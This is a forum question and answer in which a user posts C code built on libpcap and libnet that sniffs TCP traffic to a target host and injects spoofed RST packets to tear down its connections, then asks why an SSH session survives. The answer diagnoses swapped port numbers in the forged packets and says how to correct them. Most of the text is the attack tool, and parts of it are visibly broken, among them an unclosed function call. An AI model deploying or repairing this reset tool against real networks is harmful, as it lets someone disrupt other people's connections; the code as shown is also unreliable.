Rst packets sent with libnet do not reset the connection

I am trying to do ‘rst hijacking’ by using a c script with libcap and libnet included. I use libcap to sniff all packets coming from and going to a host given as input to the program via the commandline. Then libnet sends rst packets to the host trying to connect to the specified host. However when I run the script and connect to the given host via ssh I can do this without the connection being reset. I am using Kali Linux 2019.4 64 bit version. This is the code:

#include <libnet.h>
#include <pcap.h>
#include "hacking.h"

void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);
int set_packet_filter(pcap_t *, struct in_addr *);

int main(int argc, char *argv[]) {
  struct pcap_pkthdr cap_header;
  const u_char *packet, *pkt_data;
  pcap_t *pcap_handle;
  char errbuf[PCAP_ERRBUF_SIZE];
  char *device;
  u_long target_ip;
  libnet_t *l;  /* libnet context */

  if (argc < 1) {
    printf("Usage: %s <target IP>n", argv[0]);
    exit(0);
  }
  target_ip = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE);

  if (target_ip == -1)
    fatal("Invalid target address");

  device = pcap_lookupdev(errbuf);
  if (device == NULL)
    fatal(errbuf);

  pcap_handle = pcap_open_live(device, 128, 1, 0, errbuf);
  if (pcap_handle == NULL)
    fatal(errbuf);
  l = libnet_init(LIBNET_RAW4, NULL, errbuf);
  if (l == NULL)
    fatal(errbuf);

  libnet_seed_prand(l);

  set_packet_filter(pcap_handle, (struct in_addr*)&target_ip);

  printf("Resetting all TCP connections to %s on %sn", argv[1], device);
  pcap_loop(pcap_handle, -1, caught_packet, (u_char *)&l);

  pcap_close(pcap_handle);
  libnet_destroy(l);
  return 0;
}

int set_packet_filter(pcap_t *pcap_hdl, struct in_addr *target_ip) {
  struct bpf_program filter;
  char filter_string[100];

  sprintf(filter_string, "tcp[tcpflags] & tcp-ack != 0 and dst host %s", inet_ntoa(*target_ip));

  printf("[DEBUG]: filter string is '%s'n", filter_string);
  if (pcap_compile(pcap_hdl, &filter, filter_string, 0, 0) == -1)
    fatal("pcap_compile failed");

  if (pcap_setfilter(pcap_hdl, &filter) == -1)
    fatal("pcap_setfilter failed");
}

void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char *packet) {
  u_char *pkt_data;
  struct libnet_tcp_hdr *TCPhdr;
  struct libnet_ipv4_hdr *IPhdr;
  struct data_pass *passed;
  libnet_t **l_passed;
  int bcount;

  l_passed = (libnet_t **)user_args;

  TCPhdr = (struct libnet_tcp_hdr *) (packet + LIBNET_ETH_H);
  IPhdr = (struct libnet_ipv4_hdr *) (packet + LIBNET_ETH_H + LIBNET_TCP_H);

  printf("Reseting TCP connection from %s:%d ", inet_ntoa(IPhdr->ip_src), htons(TCPhdr->th_sport));
  printf("<---> %s:%dn", inet_ntoa(IPhdr->ip_dst), htons(TCPhdr->th_dport));

  if (libnet_build_tcp(htons(TCPhdr->th_dport),
    htons(TCPhdr->th_sport),
    htonl(TCPhdr->th_ack),
    libnet_get_prand(LIBNET_PRu32),
    TH_RST,
    libnet_get_prand(LIBNET_PRu16),
    0,
    0,
    LIBNET_TCP_H,
    NULL,
    0,
    *l_passed,

      fatal("in building tcp header");
    }
  if (libnet_build_ipv4(LIBNET_TCP_H+LIBNET_IPV4_H,
    IPTOS_LOWDELAY,
    libnet_get_prand(LIBNET_PRu16),

    libnet_get_prand(LIBNET_PR8),

    *((u_long *)&(IPhdr->ip_src)),
    *((u_long *)&(IPhdr->ip_dst)),
    NULL,
    0,
    *l_passed,
    0) == -1) {
      fatal("in building ip header");
    }

    bcount = libnet_write(*l_passed);
    if (bcount < LIBNET_IPV4_H+LIBNET_TCP_H)
      printf("Warning: incomplete package written. (%d of %d bytes)n", bcount, LIBNET_IPV4_H+LIBNET_TCP_H);

    libnet_clear_packet(*l_passed);

    usleep(5000);
}

When I run it like this I:

sudo ./rst_hijack 192.168.74.37

and meanwhile connect to 19.168.74.37 via ssh the output tells me that it is resetting the connection but I still can use the terminal in the ssh connection as usual. Now my question is what is causing the behavior of this program and how to fix it to properly reset the connection? Here is the output of running:

sudo tcpdump "dst host 192.168.74.37 || dst host 192.168.74.65" -i eth0 -nl
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

Answer

The port numbers of the rst-packets are the wrong.

This line

08:44:52.624717 IP 192.168.74.69.35340 > 192.168.74.37.22: Flags [S], seq 4267262989, win 64240, options [mss 1460,sackOK,TS val 1038758058 ecr 0,nop,wscale 7], length 0

shows, that the connection is established from 192.168.74.69 port 35340 to the ssh server running on 192.168.74.37 port 22

but this rst packet

08:44:52.640092 IP 192.168.74.69.22 > 192.168.74.37.35340: Flags [R], seq 1138266852, win 59375, length 0

resets a connection from host 192.168.74.69 port 22, to host 192.168.74.37 port 35340

You have to swap the port numbers (or the ip numbers, depending on if you send the packet to the server or to the client) in the rst packet.
